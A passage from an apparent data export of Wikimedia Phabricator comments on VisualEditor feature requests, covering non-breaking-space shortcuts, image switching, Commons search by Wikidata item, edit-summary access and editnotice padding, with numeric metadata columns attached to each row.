Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require the a special space to render a non-braking one and where it would make no difference.",,,1429827443,,PHID-USER-5pyvkdz65d5h5vxebodc,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,0.0,1.5,9.5,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,1.5,0.5,0.0,7.0,8.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,1.0,0.0,5.5,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,6.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,1.5,0.0,1.5,8.0,1.5,0.5,0.0,0.0,1.5,0.0,2.5,4.0,0.0,0.5,0.5,0.5,1.0,4.074242424242424,0.9082491582491583,"Inserting only the character is not persistent: there is at least one browser which replaces non-breaking spaces with normal spaces in CODEs (may be Firefox? don’t remember). See [[URL diff]] for an example of such a replacement (I read unfortunately more talk pages than articles and don’t remember an recent example in ns-0).

Of course there are safe places (before colons, inside French quotations marks) where MediaWiki does not require the a special space to render a non-braking one and where it would make no difference."
448279,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"For this feature, something would need to be clarified :

What would the keyboard combination insert in the wikicode ?

# The character non-breaking space 
# The HTML entity ##&nbsp;## 

These are two different things.

For this feature, I would recommend inserting the character non-breaking space. Inserting the non-breaking space character leaves the wikicode natural and readable. Well, as readable as the wikicode already is. ;-) 

",,,1429807031,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0.0,1.0,0.0,1.0,0.0,17.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,2.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,11.0,0.0,2.0,12.0,0.0,1.0,0.0,6.0,3.0,1.0,1.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.9789473684210526,0.5578947368421052,"For this feature, something would need to be clarified :

What would the keyboard combination insert in the wikicode ?

# The character non-breaking space 
# The HTML entity ##&nbsp;## 

These are two different things.

For this feature, I would recommend inserting the character non-breaking space. Inserting the non-breaking space character leaves the wikicode natural and readable. Well, as readable as the wikicode already is. ;-) 

"
448273,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),"For this feature, I suggest Ctrl Shift Space rather than Ctrl Space.

Reasons :

# Ctrl Space is already taken for Spotlight on Mac. 
# The Word feature for entering a non-breaking space is pressing Ctrl Shift Space. 

The Word feature is quite well known. Having an inconsistency here would confuse users.
",,,1429806239,,PHID-USER-fjve3gq5wsmaaccti7pb,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,30.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,7.0,21.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,0.0,3.8805970149253732,0.6567164179104478,"For this feature, I suggest Ctrl Shift Space rather than Ctrl Space.

Reasons :

# Ctrl Space is already taken for Spotlight on Mac. 
# The Word feature for entering a non-breaking space is pressing Ctrl Shift Space. 

The Word feature is quite well known. Having an inconsistency here would confuse users.
"
423078,VisualEditor: Ctrl+Shift+Space/Opt+Space to insert a non-breaking space (NBSP),Related: https://phabricator.wikimedia.org/T70429,,,1425904145,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-33ykzddzyqsfzj3qavxw,task_subcomment,,True,c1,3,False,,,88,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Related: URL
53033,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,"You should be able not only to change image caption, but select another image.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=54285",Low,25.0,1373372220,1404351379.0,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,False,PHID-TASK-cq56uabry7nuedxb56e6,task_description,resolved,True,c1,3,False,False,False,1,,0.0,0.0,0.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6136363636363638,0.6136363636363636,"You should be able not only to change image caption, but select another image.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
249444,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,*** Bug 52580 has been marked as a duplicate of this bug. ***,,,1402608867,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-cq56uabry7nuedxb56e6,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52580 has been marked as a duplicate of this bug. ***
249440,VisualEditor: Ability to switch image used whilst maintaining the caption and other settings,*** Bug 53409 has been marked as a duplicate of this bug. ***,,,1377621974,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-cq56uabry7nuedxb56e6,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 53409 has been marked as a duplicate of this bug. ***
53031,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","Try to add image to http://uk.wikipedia.org/wiki/29er_(%D0%B2%D0%B5%D0%BB%D0%BE%D1%81%D0%B8%D0%BF%D0%B5%D0%B4) 

It suggests no images for article ""29er (велосипед)"", but it will if you search by Commonscat template parameter or english interwiki

--------------------------
**See Also**:
{T54464}",Low,25.0,1373372040,,PHID-USER-s2t4lzis4swnj7hbvkgn,False,,False,PHID-TASK-faz57akdhnnsrbbitdmo,task_description,open,True,c1,3,False,False,,1,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,6.0,0.0,4.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.893617021276596,0.851063829787234,"Try to add image to URL 

It suggests no images for article ""29er (велосипед)"", but it will if you search by Commonscat template parameter or english interwiki

--------------------------
**See Also**:
{T54464}"
1233278,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","It probably should be tagged with it. Sorry, VE tasks are often not consistently tagged (other than with the #visualeditor tag).",,,1551212560,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,295,,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.8888888888888888,"It probably should be tagged with it. Sorry, VE tasks are often not consistently tagged (other than with the #visualeditor tag)."
1233204,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","@matmarex thanks for finding this, I did look before filing but this task wasn't tagged with #visualeditor-media, is that the right tag? ",,,1551207441,,PHID-USER-evd3wnvnlb66lrwulch4,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,False,,,295,,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,7.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,4.0344827586206895,0.9310344827586207,"SCREEN_NAME thanks for finding this, I did look before filing but this task wasn't tagged with #visualeditor-media, is that the right tag? "
1233189,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title","I don't think this would require T68108. It seems possible to implement today (although maybe inefficient…)
* Given a page e.g. https://en.wikipedia.org/wiki/The_Fighting_Temeraire, look up its Wikidata entry e.g. https://www.wikidata.org/wiki/Q257580
* Given the Wikidata entry, look up the Commons gallery/category using the 'commons' sitelink, or the category using the ""Commons category"" (`P373`) property
* Given the Commons category, show search results from it (maybe using [[https://www.mediawiki.org/wiki/Help:CirrusSearch#Intitle_and_incategory|incategory:]] search)",,,1551206616,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,295,,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,1.0,0.0,2.0,3.0,0.0,0.0,0.0,1.0,0.0,6.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,4.0,2.0,3.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,17.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,9.0,0.0,4.0,0.0,4.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,2.0,3.8876404494382024,0.5955056179775281,"I don't think this would require T68108. It seems possible to implement today (although maybe inefficient…)
* Given a page e.g. URL look up its Wikidata entry e.g. URL
* Given the Wikidata entry, look up the Commons gallery/category using the 'commons' sitelink, or the category using the ""Commons category"" (CODE) property
* Given the Commons category, show search results from it (maybe using [[URL search)"
249357,"VisualEditor: When inserting a media item, search Commons for the Wikidata item this page represents (if available) rather than title",I think doing this via Wikidata identity would be a better way forward.,,,1385398709,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-faz57akdhnnsrbbitdmo,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,4.214285714285714,1.0,I think doing this via Wikidata identity would be a better way forward.
52961,VisualEditor: Provide simultaneous access to editor and edit summary,"Two editors have commented independent in different place over the weekend on English Wikipedia about how they wish they could access the edit summary while using the VE instead of on save, because they track their changes as they go.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373304120,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_description,open,True,c1,3,False,False,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,8.0,15.0,5.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.533333333333333,0.75,"Two editors have commented independent in different place over the weekend on English Wikipedia about how they wish they could access the edit summary while using the VE instead of on save, because they track their changes as they go.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
782866,VisualEditor: Provide simultaneous access to editor and edit summary,@Sadads has suggested that the Tab key be used to switch between the article and the edit summary window.,,,1482427198,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,181,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,30.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,10.0,5.0,5.0,15.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.55,0.9,SCREEN_NAME has suggested that the Tab key be used to switch between the article and the edit summary window.
542578,VisualEditor: Provide simultaneous access to editor and edit summary,(Aaand there's an exception for that. See T114857.),,,1444222841,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.3846153846153846,0.9230769230769231,(Aaand there's an exception for that. See T114857.)
542083,VisualEditor: Provide simultaneous access to editor and edit summary,"(Although they won't be able to do so if they enabled the warning that doesn't allow to save without providing an edit summary, as noted at de.wiki. )",,,1444153431,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,118,,0.0,0.0,0.0,0.0,6.0,3.0,3.0,0.0,3.0,3.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,21.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,0.0,6.0,3.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,21.0,3.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,"(Although they won't be able to do so if they enabled the warning that doesn't allow to save without providing an edit summary, as noted at de.wiki. )"
540927,VisualEditor: Provide simultaneous access to editor and edit summary,"On a related note: There's also no edit summary in the diff view (""review you changes""), just a save button. This tempts users to save without leaving an edit summary.",,,1443996374,,PHID-USER-ctff2aq5r64yvikejdwo,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,117,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,5.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,10.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,3.5384615384615383,0.8461538461538461,"On a related note: There's also no edit summary in the diff view (""review you changes""), just a save button. This tempts users to save without leaving an edit summary."
245223,VisualEditor: Provide simultaneous access to editor and edit summary,"Think this is also happening on PL.WP. 

""Jeśli w okienku z polem służącym do opisu dokonanej zmiany klikniemy w link dotyczący sposobu opisywania zmian zostaniemy przekeierowani do strony Wikipedii z opisem tychże skrótów, jednak strona ta wyświetla się w tym samym małym okienku. Uniemożliwia to powrócenie to opisu modyfikacji a jednocześnie uniemożliwia zapisanie dokonanej zmiany w danym artykule. Michał (dyskusja) 11:36, 5 lis 2013 (CET)""

https://pl.wikipedia.org/wiki/Wikipedia:VisualEditor/Opinie#B.C5.82.C4.85d_w_okienku_opisu_zmian.",,,1383663034,,PHID-USER-brn4v5ta45bnw4f5as3h,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,18,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,0.0,0.0,8.0,42.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.886075949367089,0.7848101265822784,"Think this is also happening on PL.WP. 

""Jeśli w okienku z polem służącym do opisu dokonanej zmiany klikniemy w link dotyczący sposobu opisywania zmian zostaniemy przekeierowani do strony Wikipedii z opisem tychże skrótów, jednak strona ta wyświetla się w tym samym małym okienku. Uniemożliwia to powrócenie to opisu modyfikacji a jednocześnie uniemożliwia zapisanie dokonanej zmiany w danym artykule. Michał (dyskusja) 11:36, 5 lis 2013 (CET)""

URL"
245216,VisualEditor: Provide simultaneous access to editor and edit summary,+1. This is a particularly useful feature of the old editor.,,,1374780006,,PHID-USER-sryrz6tgcfnnsiddx32p,True,,,PHID-TASK-oyxqdt66z23wvh7pe5mo,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,8.0,8.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.8461538461538463,0.9230769230769231,+1. This is a particularly useful feature of the old editor.
52956,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"An editor from pt.wikipedia writes:

[E]ditnotices seems strange inside the flyout because there's a weird padding inside the popup, without the padding the templates would look nicer (there´s already padding in most edinotices templates by default). Dianakc (talk) 23:56, 6 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1373302800,,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_description,open,True,c1,3,False,False,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,9.0,1.0,0.0,8.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,1.0,1.0,1.0,4.405405405405405,0.6891891891891891,"An editor from pt.wikipedia writes:

[E]ditnotices seems strange inside the flyout because there's a weird padding inside the popup, without the padding the templates would look nicer (there´s already padding in most edinotices templates by default). Dianakc (talk) 23:56, 6 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: enhancement"
245052,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"(In reply to comment #2)
> Hi James,
> 
> I don't know what mean you by normal edit notices :) A simple 100% div, with
> background color but without padding would look weird inside the flyout.
> We are rethinking the editnotices design/content and right now they look
> somewhat awkward within this asymmetrical padding. If someone ever need a
> margin it can be done within the editnotices itself, but this mandatory
> padding
> limits the design a lot.

Normal edit notices are text only (or bold/italics/links). Adding any further styling, including <span>s, <div>s, images, etc. is likely to break in a variety of situations and isn't really intended behaviour for the tool.",,,1379846011,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yxjf5ed7ojxtui2z6sss,task_subcomment,,True,c1,3,True,,,11,,1.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,15.0,0.0,2.0,4.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,7.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,5.0,3.271604938271605,0.6419753086419753,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Normal edit notices are text only (or bold/italics/links). Adding any further styling, including <span>s, <div>s, images, etc. is likely to break in a variety of situations and isn't really intended behaviour for the tool."
245048,VisualEditor: Reduce padding in editnotice popup because some existing edit notices already have some margin,"Hi James,

I don't know what mean you by normal edit notices :) A simple 100% div, with background color but without padding would look weird inside the flyout.
